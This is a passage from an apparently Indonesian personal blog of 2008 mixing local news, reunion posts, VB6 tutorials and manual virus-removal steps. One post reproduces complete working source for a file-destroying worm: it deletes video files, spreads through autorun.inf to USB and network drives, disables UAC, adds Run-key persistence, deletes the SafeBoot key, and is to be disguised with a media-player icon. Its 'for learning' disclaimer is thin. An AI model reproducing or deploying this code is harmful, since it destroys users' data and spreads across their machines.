Fasilitas SMS Gratis tis tisssssssss

Fasilitas SMS ini sepenuhnya gratis. n terima kasih kepada candra yang telah membuat source codenya. maaf bro aku udah ambil tanpa ijin, kan keinginkan kita sama menshare ilmu. hehe
sekian dulu semoga dapat dimanfaatkan oleh member yang menginginkan irit pulsa


Akhir tahun dan Pengumuman Hasil Ujian CPNS Kabupaten Rembang

Akhirnya tanggal 31 Desember juga di penghujung tahun ini dinanti oleh masyarakat jawa tengah yang tengah menanti Hasil Ujian CPNS yang akan di umumkan hari ini. tapi setelaha ku cari untuk Kabupaten rembang di Internet belum ada 1 pun yang menampilkan hasilnya mungkin aja di BKD sudah ada, ah saya juga ga tahu itu suma selentingan teman-teman bahwa udah ada yang mendapatkan pengumuman tersebut. Bagi yang ingin melihat langsung aja terus baca ni artikel

ha...ha akhirnya anda membuka seterusnya. thank ya. silahkan anda cari di BKD masing-masing kabupaten atau klik di sini

Akhirnya saya tahu juga kalau tahun ini belum rejeki dan belum saatnya aku mengabdi ke pemerintah.

Jawaban JENI

Bagi yang memerlukan jawaban jeni ni aku kasih linknya aja ya, soalnya aku juga ambil dari blognya mas Zyka Pratama. silahkan klik disini


Masang HotSpot di SMA 1 Rembang

hari ini saya da teman-teman telah memasang hotspot di SMA Negeri 1 Rembang. Hostapot ini di managemen dengan mikrotik jadi hanya untuk kalangan SMA negeri 1 Rembang. Pemasangan menggunakan NanoStation. di SMA 1 Rembang ada 2 Pemancar yaitu SMANSA dan SMANSA-RBG. untuk mengaksesnya siswa dan guru harus terdaftar pada jaringan tersebut.


Source code capture webcam (kado akhir tahun)

Setelah sekian lama aku mencari source code untuk mengcapture webcam, maklum baru punya laptop yang ada webcamnya jadi ya cari source code untuk mencapture gambar dari webcam, source ini terdiri dari 1 project, 1 form, dan 1 module. source ini mungkin sangat simple belum ada gimana caranya menyimpan gambar tersebut dalam bentuk file, apalagi menyimpan video yang dihasilkan. bagi temen-teman yang sudah bisa silahkan aja di kembangkan ya.
oke silahkan aja di download di file ini

password untuk membuka file rar adalah kosong sehingga anda bisa membuka sesuka hati

Hostpot Milik Jardiknas

Akhirnya jardiknas memiliki hotspot yang sifatnya free, hostpot tersebut berada sekitar Dinas Pendidikan Nasional Kabupaten Rembang, ini kata yang menjadi admin jardikans di disdik rembang (Kuganer). bagi teman-teman yang mau memakai hostpot tersebut silahkan aja, tetapi karena untuk kepentingan bersama tolongan jangan melakukan perusakan atau coba-coba merusak hotspot tersebut. semoga aja IT di rembang dapat berkembang dan orang-orang IT rembang dapat bersatu membangun IT di rembang tercinta.


Foto-foto pernikahan

ini merupakan foto-foto pernikahanku yang berlangsung tanggal 14 Desember 2008
terima kasih untuk semua teman-teman yang telah membantu sehingga terselenggaranya upacara pernikahanku






Semoga pernikahan ini langgeng menjadi keluarga yang sakinah, mawadah, warohmah.

aminnnnnnnnnnn

Source Code Bank Soal Mata Pelajaran KKPI SMK

Program soal kkpi ini dibuat dengan Microsoft Visual basic. Soal-soal yang diambil dari soal yang digunakan untuk sertifikasi intruktur KKPI pada waktu programmer mengikuti sertifikasi KKPI di ICT Center Tunas Harapan Pati. Soal ini dibuat oleh beberapa perserta sertifikasi KKPI yang telah mengikuti sertifikasi. Kemudian disajikan oleh VEDC Malang dengan sistem Ujian Online pada web http://vedcmalang/ujianolineKKPI
Program ini belum sepenuhnya sempurna oleh karena itu untuk menyempurnakan program serta soal dapat dikembangkan sendiri. Serta saran kritik dapat ditujukan kepada programmer.

bagi yang berkecimpung di dunia pemrograman mungkin aja akan tertarik apalagi yang bergerak di dunia pendidikan khususnya SMK. program ini dapat digunakan dalam LAN akan tetapi karena mengunakan acces jadi hanya 10 komputer (client yang terhubung).
yang berminat klik sini untuk donlot source codenya. jangan digunakan komersil ya.
n ni aku password bagi yang inginkan password silahkan anda beri komentar di sini n kirim email ke saya

Mengontrol Inputan Pada TextBox

Pada kesempatan kali ini saya akan memberikan sedikit tutorial yang mungkin aja udah basi, tapi karena aku juga sering lupa dan banyak pemula vb yang tanya maka saya menuliskan di blog ku ini.
1. Membuat Text tulisannya menjadi simbol kayak pengisian password
Anda klik textbox kemudian anda cari di propertiesnya yang passwordchar anda ganti simbol yang anda inginkan.
2. Membuat batasan isian pada textbox
Misalkan pada text hanya boleh diisi dengan 6 karakter saja maka anda pilih aja textbox yang anda ingin batasi kemudian pilih properties dan pilih maxlength kemudian anda beri angka 6 untuk membatasi sebanyak 6 karakter.

3. Membuat textbox diisi dengan huruf kapital
Misalkan kita memiliki textbox yang ingin hasilnya menjadi huruf kapital semua maka anda bisa menuliskan kode di antara keypress pada textbox tersebut. Misalkan textboxnya kita beri nama txtNama maka penulisannya sebagai berikut:

Private Sub txt_txtNama_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
End Sub

4. Membuat agar textbox hanya bisa diisi angka saja
Misalkan kita memliki textbox yang hanya boleh diisi angka saja. kalau seperti itu silahkan aja kode dibawah ini:

private sub txtNoTelp_keypress(keyascii as integer)
if not(keyascii >= asc("0") and keyascii <= asc ("9") then
keyascii = 0
msgbox "Hanya angka saja..!",vbcritical,"Peringatan"
txtNoTelp.setfocus
exit sub
end if
end sub


sekian dulu nanti kalau ada kesempatan aku tulisan untuk mengatur agar pengaturan textbox awal kapital atau setiap kata kapital.

Foto-foto reuni Akbar SMANELA

ni aku kaih foto-foto reuni akbar

foto sama Bapak Nur Effendi (Kepala Diknas Rembang) dan kakak kelas angkatan 90/91

Suasana makan-makan di pendopo SMANELA

Suasana sarasehan yang dihadiri Bapak Mu'alif (Sekretaris Dewan)




Hasil dari Reuni Akbar SMANELA

Akhirnya reuni akbar dilaksanakan dengan berdatangan semua almuni dari angkatan 86 sampai angkatan 2008. dalam pertemauan itu diadakan sarasehan dengan para alumni yang sudah sukses diantaranya menjadi staf Menpora H. Amar ma'ruf, ada juga yang sudah menjadi mayor. dalam pertemuan itu juga telah di bentuk organisasi ikatan alumni SMA negeri 1 Lasem yang disingkat dengan nama IKA SMANELA. Adapun ketuanya yaitu Bapak Drs. Amar Ma'ruf dengan Sekretaris Jenderal Lukman Muhajir.


Pengumuman CPNS BPS 2008

Sudah sekian lama saya dan teman-teman lulusan Statistika terapan dan Komputasi menunggu pengumuman CPNS Badan Pusat Statistik (BPS). akhirnya datang juga. silahkan anda bisa melihat di situs aslinya www.bps.go.id. bagi yang ingin mendownload file pengumumanya silahkan aja klik disini

Tapi sayang beribu sayang, akhirnya aku harus kecewa juga karena dibatasi dengan umur padahal teman-teman seangkatanku udah mengharapkan bisa masuk tapi karena di batasi umur maksimal 25 tahun untuk yang D3 maka ya aku cuma dapat melihat pengumuman ini. bagi adik-adik staterkom dari UNNES yang lainnya yang masih bisa ikut daftar selamat mendaftar aja semoga berhasil........

Video Tutorial (Hacking, Powerpoint dan lain-lain)

Hari ini aku akan menshare video tutrial yang berhubungan dengan komputer, Pada kesempatan ini aku hanya menshare dua video tutorial yaitu hacking dan penetration dan microsoft powerpoint, untuk hacking yang semula 198 Mb aku splt jadi 100 file kecil jadi yang sabar ya donlotnya.
Silahkan anda lanjutkan

Untuk mendownloadnya silahkan aja anda klik disini
jangan lupa beri komentar ya......

Buku Elektronik dari Depdiknas

Pada whari ini aku akan berikan suatu link untuk mengunduh/Mendownload buku BSE dari Depdiknas, link ini berguna jika link resmi dari depdiknas ga bsa digunakan untuk mengunduh. Link ini hasil dari aku mendownload dari invir.com kemudian aku upload di www.4shared.com sehingga bisa di ambil sesuka anda. buku yang udah aku upload adalah buku daru kelas 1 SD - 6 SD, 1 SMP - 3 SMP, 1 SMA - 3 SMA dan juga untuk SMK. silahkan aja anda kunjungi dengan klik di sini.

Terima kasih atas kunjungan anda. Semoga bermanfaat

Ramadhan ke 23 dan Source code Mengasah Otak dengan Visual Basic

Ni source code aku dikirimi oleh teman chat yang diperuntukan untuk melatih kita bermain dengan logika. Source code ini menggunakan database dengan MS Access. emang sengaja database bisa dibuka karena tidak di password dan di sertakan dengan source code visual basicnya agar orang bisa melihat logikanya. Tapi untuk dapat memecahkan gimana cara masuknya akan memakan waktu yang sedikit lama. Source code dibuat oleh Yudz (me.yudz@gmail.com). bagi teman-teman atau yang membaca dan ingin mencobanya silahkan aja donlot source codenya. dan kalau bisa memecahkannya silahkan kirim email ke aku atau ke yang buat source code. karena aku butuh waktu 15 menit untuk memecahkan cara masuknya. tidak boleh mmerubah source codenya ya......

Langsung aja silahkan aja anda donlot projectnya. Klik disini
Selamat berpusing-pusing ria.

Mengatasi Virus Ksplood Secara Manual

Pada kesempatan ini saya aku membagi pengalaman dalam mengatasi virus ksplood varian A maupun B. Virus Ksplood adalah suatu virus yang mengubah dokumen anda menjadi exe dimana virus menginject atau masuk ke dokumen anda. Jangan coba-coba anda scan dengan antivirus buatan orang barat kayak NOD32, Norman, AVG atau yang lainnya, mengapa demikian karena dengan menscan dengan cara ini maka data anda akan hilang kerena anti virus itu bukan memisahkan data anda melainkan menghilangkan data anda. Kalau bisa anda bisa menggunakan antivirus buatan orang indonesia seperti SMADAV, PCMAV, AVC2, dan lain-lain yang bisa cure tu dokumen.
Tetapi dalam kesempatan ini saya hanya membagi pengalaman mengatasi tu virus secara manual sehingga kita dalam melakukan tanpa bantuan antivirus tentunya.
Silahkan anda lanjutkan................

Langkah-langkah yang perlu anda lakukan:
1. Masuk ke safe mode (tekan Tombol F8 pada waktu booting)
2. Hilangkan services ksplood dengan cara ketik services.msc di run
3. Diasible services K spool
4. Cari file master ksplood di c:\windows\system32
5. Hapus file ksplood.exe
varian A bentuk iconnya kayak gir
sedangkan varian B berbentuk recylebin windows98
6. Disetiap drive anda hilangkan desktop.ini dan autorun.inf, folder MS~setup
7. Jangan lupa media penyimpanan anda seperti FD, CD anda lihat
8. Kalau dokumen anda sudah terinfeksi virus maka anda anda ikuti langkah selanjutnya
9. Copy dokumen yang ada di FD pada HD di FD di cut aja ya.....
10.Buka dokumen anda, Biarkan aja terbuka (masih di safe mode ya...)
11.Setelah semua terbuka maka dokumen anda terbebas virus
12.Ulangi langkah No 1-6
13.Restart komputer
14.Langkah Selesai

sekian dulu semoga bermanfaat

Ramadhan ke-22 dan Source Code Koneksi Database Excell

Mungkin anda pernah membuat suatu data dari excell dan anda merasa ga mau meninggal excell untuk pindah ke access, sedangkan anda hanya bisa menggunakan database access untuk diterapkan di Pemrogram pakai Visual basic 6.0. sehingga akan mengconverter data anda dari excell ke access. Gimana kalau nanti mau ke excell lagi wah di convert lagi deh tu data. hehehe enak juga ya tu data di pindah-pindah.
Tapi anda bisa menggunakan database dari data excell data untuk bisa dipanggil melalui Visual Basic sehingga anda tidak usah cari konverter.
Oke langsung aja akan ku tulisan source codenya

Ini Source codenya

Dim cn As ADODB.Connection
Dim rs As ADODB.Recordset

Option Explicit

Private Sub Command1_Click()

Set rs = New ADODB.Recordset
'--- mengambil data dari member
rs.Open "SELECT * FROM [Members$] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs


End Sub



Private Sub Command2_Click()

Set rs = New ADODB.Recordset

'--- mengambil data dari excel dari tab salary
rs.Open "SELECT * FROM [Salary$A1:B2] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs

End Sub



Private Sub Form_Load()

On Error GoTo ErrHandler
Set cn = New ADODB.Connection

' -- provider koneksi
cn.Provider = "Microsoft.Jet.OLEDB.4.0"

'--- membuat koneksi file excell
'---dari Excel 97/2000/2002 atau Excel 8.0
'--- dari Excel 95 atau Excel 5.0
cn.ConnectionString = _
"Data Source= " & App.Path & "/Book1.xls;" & _
"Extended Properties=Excel 8.0;"
cn.CursorLocation = adUseClient
cn.Open

Exit Sub
ErrHandler:
MsgBox "Tidak ada koneksi yang terjadi"
End Sub

Private Sub Command3_Click()
MsgBox "Contoh Koneksi Database Excell", vbInformation, ""
End
End Sub



Silahkan aja kamu pelajari.

Semoga dapat membantu.

Ramadhan ke-21 dan Source Code Virus Bokep

Pada ramadhan ke 21ni aku akan membahas source code virus bokep, hehehe ramadhan kog mbahas bokep ya untuk mencegah agar bulan ramadhan ini orang tidak menonton film bokep. tapi ni juga merugikan karena tidak semua film yang berektensi 3gp, flv, avi merupakan filem bokep melainkan juga ada film tentang tutorial. Ini terbukti telah dialami teman aku yang tadi malam mengeluh telah kena virus dengan icon K-Lite (atau media player clasic). emang sih virus tersebut ga merubah apapun di windows seperti task manager, folder option, run, atau fungsi-fungsi lainnya. sehingga orang akan tidak tahu kalau komputernya kena virus. Virus ini memang sadis langsung menghapus file yang berektensi 3gp, flv, mp4, avi dll.
Sehingga pada kesempatan ini saya akan membahas source codenya, source code ini aku juga menemukannya di internet jadi bukan milik saya dibuat oleh Lazy_Boyz @ Paray_Vx (Indonesian VX Zone) , source code ini sebegai pembelajaran agar kita dapat mengatasi ni virus.
Silahkan ikuti seterusnya.....

Oke sekarang anda tentukan proejct anda dengan 1 form dan 2 module
ni source code untuk form

Private Sub Form_Load()
On Error Resume Next
Dim Temp As Variant
Dim TempFolder As Object
Set Temp = CreateObject("scripting.filesystemobject")
Set TempFolder = Temp.GetSpecialFolder(2)

If App.PrevInstance Then End
Me.Hide
Me.Visible = False
App.TaskVisible = False

'Jika virus yg jalan tidak sama dengan nama file induk yg bernama BOK3P dan MPLAYERC
'maka keluarkan\akhiri proses virus tersebut dan jalankan Windows Media Player
If UCase(App.EXEName) <> "BOK3P" And UCase(App.EXEName) <> "MPLAYERC" Then
Shell "cmd.exe /c start wmplayer.exe", vbHide
Call Crack_Registry
Unload Me
End If

'Menggandakan diri ke direktori temp untuk dijadikan file induk VIRUS
Menggandakan_Diri TempFolder & "\Bok3p.exe"
Menggandakan_Diri TempFolder & "\mplayerc.exe"

'Kemudian mensetting atrribut file induk virus menjadi super hidden
SetAttr TempFolder & "\Bok3p.exe", vbSystem + vbReadOnly + vbHidden
SetAttr TempFolder & "\mplayerc.exe", vbSystem + vbReadOnly + vbHidden

'dan terakhir menjalankan file induk tersebut
Shell TempFolder & "\Bok3p.exe", vbHide
Shell TempFolder & "\mplayerc.exe", vbHide

End Sub

Private Sub TmrInfeksi_Timer()
On Error Resume Next
'Memanggil prosedur Crack_Registry, dan Serang_Media_Penyimpanan
Call Crack_Registry
Call Serang_Media_Penyimpanan
End Sub

Private Sub TmrPayload_Timer()
On Error Resume Next
'Jika jam sekarang menunjukan jam 6 sore, menit ke 6 dan detik ke 6 (18:06:06)-666
'maka tampilkan box pesan yg isinya apakah anda setuju perang melawan Pornografi
'jika korban memilih yes box pesan akan hilang, tapi jika memilih tidak maka restart komputer
If Hour(Now) = 18 And Minute(Now) = 6 And Second(Now) = 6 Then

If MsgBox("Say War to Pornografi & Pornoaksi", vbYesNo + vbExclamation, "Apakah anda setuju :") = vbNo Then
Shell "shutdown -r -f -t 00", vbHide
End If

End If

End Sub



dan ini untuk source code module 1

Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

'Menggandakan_Diri adalah sebagai pengganti FileCopy/CopyFile yg berfungsi
'sama seperti fungsi FileCopy.. yakni dengan cara membaca kode tubuh dan
'menyalinya ke lokasi yg akan ditentukan ditambah nomor acak dibagian akhir file
'sehingga nilai hashingnya berbeda-beda (Polymorphic)

Public Function Menggandakan_Diri(Lokasinya As String)
On Error Resume Next
Dim BodyVirus As String
Dim Jam As String

'Baca dan dapatkan ukuran asli virus
Open App.path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
BodyVirus = Space(LOF(1) - Int(10))
Get #1, , BodyVirus
Close #1

Jam = Time
Open Lokasinya For Binary Access Write As #2
Put #2, , BodyVirus
Put #2, , Jam '<~~ Polymorphic Methode, menambahkan string waktu saat ini diakhir file
Close #2

End Function

Public Function Cari_File(path)
On Error Resume Next
Dim Bok3p As Variant
Set fso = CreateObject("scripting.filesystemobject")
Set Bok3p = fso.getfolder(path)
Set Rapid = Bok3p.Files

For Each File In Rapid
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .3GP
If UCase(fso.GetExtensionName(File.path)) = "3GP" Then
'Set attribut 3gp jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli 3gp
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .AVI
If UCase(fso.GetExtensionName(File.path)) = "AVI" Then
'Set attribut AVI jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli AVI
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MP4
If UCase(fso.GetExtensionName(File.path)) = "MP4" Then
'Set attribut MP4 jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MP4
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .AVI
If UCase(fso.GetExtensionName(File.path)) = "WMV" Then
'Set attribut WMV jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli WMV
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MPEG
If UCase(fso.GetExtensionName(File.path)) = "MPEG" Then
'Set attribut MPEG jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 4) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MPEG
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MPG
If UCase(fso.GetExtensionName(File.path)) = "MPG" Then
'Set attribut MPG jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MPG
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MPE
If UCase(fso.GetExtensionName(File.path)) = "MPE" Then
'Set attribut MPE jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MPE
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .AVI
If UCase(fso.GetExtensionName(File.path)) = "RM" Then
'Set attribut 3gp jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 2) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli 3gp
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MOV
If UCase(fso.GetExtensionName(File.path)) = "MOV" Then
'Set attribut MOV jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MOV
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .REAL
If UCase(fso.GetExtensionName(File.path)) = "REAL" Then
'Set attribut REAL jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 4) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli REAL
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .ASF
If UCase(fso.GetExtensionName(File.path)) = "ASF" Then
'Set attribut ASF jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli ASF
DeleteFile File.path
End If
DoEvents
'===================================================================================================
Next
'Mencari lagi kedalam folder sub folder
Set Subfolders = Bok3p.Subfolders
For Each Subfolder In Subfolders
Cari_File Subfolder.path
Next
DoEvents
End Function


Public Sub Serang_Media_Penyimpanan()
On Error Resume Next
Dim Lazy As Variant
Set fso = CreateObject("scripting.filesystemobject")
For Each Lazy In fso.drives

'==================================================================================================
'Mencari file berbau Pornogarphi di semua hardisk
If (Lazy.drivetype = 2) Then
Cari_File (Lazy.path)
End If
'===================================================================================================
'Apakah type drive yg ditemukan adalah Removeable atw Map.Network Drive
'jika iya (Kecuali disket) cari file pornographi, buat penggandaan dan
'Buat Autorun kedalam drive tersbut agar dapt running otomatiz
If (Lazy.drivetype = 1) Or (Lazy.drivetype = 3) And Lazy.path <> "A:" Then

'Mencari file berbau pornographi di Removable Drive dan Map.Network Drive
Cari_File (Lazy.path)

'Cek apakah terdapat file junk virus bernama (ãBg.exe) di Removable Drive
'dan Map.Network Drive jika tidak buat salinan (ãBg.exe) ke Removable_Disk
'dan setting attributnya menjadi super hidden (System+ReadOnly+Hidden)
If Len(Dir$(Lazy.path & "\ãBg.exe")) = 0 Then
Menggandakan_Diri Lazy.path & "\ãBg.exe"
SetAttr Lazy.path & "\ãBg.exe", vbSystem + vbReadOnly + vbHidden
End If

'Buat autorun.inf di Removable Drive dan Map.Network Drive korban
SetAttr Lazy.path & "\Autorun.inf", vbNormal
Open Lazy.path & "\Autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "shell\open=MediaPlayer"
Print #1, "shell\open\Command=ãBg.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explore"
Print #1, "shell\explore\Command=ãBg.exe"
Close 1
SetAttr Lazy.path & "\Autorun.inf", vbSystem + vbReadOnly + vbHidden
End If
'====================================================================================================
Next
End Sub


Ni source code untuk module2

Public Sub Crack_Registry()
On Error Resume Next
Dim Lazy_Boyz As Variant
Dim Temp As Variant
Dim TempFolder As Object
Set Temp = CreateObject("scripting.filesystemobject")
Set TempFolder = Temp.GetSpecialFolder(2)

Set Lazy_Boyz = CreateObject("Wscript.Shell")

'Mencoba mematiikan Fitur keamanan di Windows Vista
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA", 0, "REG_DWORD"

'(Set agar virus aktif otomatis pada saat Windows startup)
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QuickLaunch", TempFolder & "\Bok3p.exe"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MediaPlayer", TempFolder & "\mplayerc.exe"

'Mensetting folder option agar stdk menampilkan file yg berattribut hidden & syatem (SuperHidden)
'juga mensetting folder option agar tidak menampilkan extension file
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\DefaultValue", "1", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue", "1", "REG_DWORD"

'Anti-Safe Mode Methode by Lazy_Boyz (100%) OK
Shell "REG DELETE HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /f", vbHide

End Sub


Setelah itu anda berikan icon yang sering di pakai filem 3gp, flv, rm atau yang lainnya, ni contoh akan diberikan icon K-Lite Codec

Segala bentuk penggunaan source code ini bukan tanggungjawab pembuat dan dan penulis karena ni dibuat untuk pembelajaran. mungkin virus sekarang yang beredar sangat banyak dengan ektensi yang sama.
anda males untuk mengetik dan ga ngerti silahkan donlot projectnya di sini

source code aku berikan password bagi yang berminat silahkan berikan komentar Insya Allah aku berikan passwordnya.

Reuni Akbar SMA 1 Lasem

Memperingati Berdirinya SMA 1 Lasem yang ke - 25 Maka SMA Negeri 1 Lasem Mengadakan Reuni Akbar dengan mengumpulkan semua lulusan dari semua angkatan. Reuni Akbar ini Insya Allah akan di adakan pada tanggal 8 Nopember 2008, Selain Reuni akan di bentuk Ikatan Alumi SMA Negeri 1 Lasem dari semua angkatan, dari rapat yang telah di lakukan dewan guru SMA negeri 1 lasem dan perwakiland ari alumni maka di putuskan bahwa setiap Alumni memliki koordinator yang akan mengkoordinator angkatannya, Untuk itu Angkatan 2000 dan 2001 di pilih saya untuk menjadi koordinator. Untuk itu bagi teman-teman yang ingin menanyakan sesuatu hal silahkan aja isikan komentar di bawah. Dana apabila ingin menghubungi silahkan hub ke no. 085865278199 (Sodikin) Alumni tahun 2000.



Sebagai tambahan bahwa alumni tahun 2000 juga akan mengadakan reuni angkatannya yaitu akan jalan-jalan ke WBL (Wisata Bahari Lamongan) bagi rekan-rekan alumni tahun 2000 dapat mendaftar ke saya atau Hadi Parmono (08522532545), Dwi Widianto (08995617335), Adi Prayoga (085290589431), Saeful Angga T (085726883781).
Jalan-jalan akan di adakan tanggal 12 Oktober 2008, untuk pendaftaran paling lambat 28 September 2008.


Ramadhan ke-20 dan Source Code Serial Komputer

Pada malam tanggal 20 September saya menemukan source code untuk mengetahui serial number dan jenis CPU dan Mobo pada komputer anda. Dan pasti anda bertanya digunakan untuk apa mas? ya untuk melihat jenis dan chipset cpu dan mobo anda, juga dapat digunakan untuk membuat aplikasi anda hanya dapat dijalankan ada mobo itu kalau pernah di instal disitu. kemudian anda dapat membuat serial numbernya, sehingga program anda tidak bisa pindah kompi. ya kayak wind**s asli gitu loh....
Langsung aja ya silahkan anda donlot aplikasinya dibawah

hehe anda udah klik sak teruse ya....
silahkan anda donlot disini

Tu file aku password, silahkan tinggalkan pesan aja, dengan email. nanti aku emailkan tu password.

Beli Laptop dan Permasalahan laptop BYON

Akhirnya saya datang juga yang kemarin seharian datang ke surabaya untuk nganter teman beli laptop, Mereka akhirnya Beli Laptop HP sebelum belu laptop itu kami jalan-jalan ke Hi Tech Mall Surabaya untuk mencari sesuatu yang bisa kami beli, sampai di stan Freedom Of Software (Perangkat Lunak Bebas) eh ternyata yang jualan adalah teman dari salah satu teman chat aku di dunia maya, mereka menjual berbagai macam distro linux yang sekarang ini sedang beredar di pasaran.

Dari stan itu juga di berikan gambaran linux dengan langsung melihat dekstop dan dapat mencoba langsung karena stan menyediakan sekitar 10 PC yang di install linux berbagai macam distro. Harga cd di patok dengan harga Rp. 7500,- dan DVD Rp. 15.000-25.000. karena aku cuma mau tanya tentang permasalahan mengapa laptop BYON ku ga bisa di install linux maka ya cuma tanya doank ke yang jaga stan (maklum di rumah udah buanyak distro linux), dari jawaban yang aku peroleh ternyata Laptop BYON yang ga bisa di install linxu karena jenis VGA yang ber chipset SIS Mrage 3+.
Maka dengan sedikit kecewa saya meninggalkan stan karena ku mungkin ga bisa menikmati kehebatan distro linux di laptopku.
Mohon teman-teman pengembang distro di linux di Indonesia dapat menyertakan driver untuk VGA yang berchipset SIS sehingga saya bisa menggunakan Distro linux di laptop saya. Atau bagi teman-teman yang udah tahu distro apa yang sudah support beritahu saya ya. bisa kasih komentar aja sudah cukup
atas perhatiannya teman-teman aku ucapkan terima kasih.


Ramadhan ke-17 dan Source code program trial

Ni source code dulu emang udah pernah aku buat, tapi pakainya regestry, tapi karena ada permintaan untuk membuat lagi akhirnya aku buat juga. tapi mungkin aja masih ada sedikit kesalahan, maklum instan. hehhe
langsung aja ni source code aku buat dengan metode pembacaan pada file ini yang aku simpan pakai dll sehingga akan mengelabui user bahwa tu file adalah ini.

anda bisa lihat pada gambar.
mau lanjut silahkan baca seterusnya

hehe.... udah di klik ya.
langsung aja aku kasih linknya silahkan aja donlot
dan pelajri semoga dapat membantu

silahkan klik di sini



jangan lupa tinggalkan komentar......



Tugas Siswa TKJ Kelas 2 SMK 1 Rembang

sebelumnya saya minta maaf.
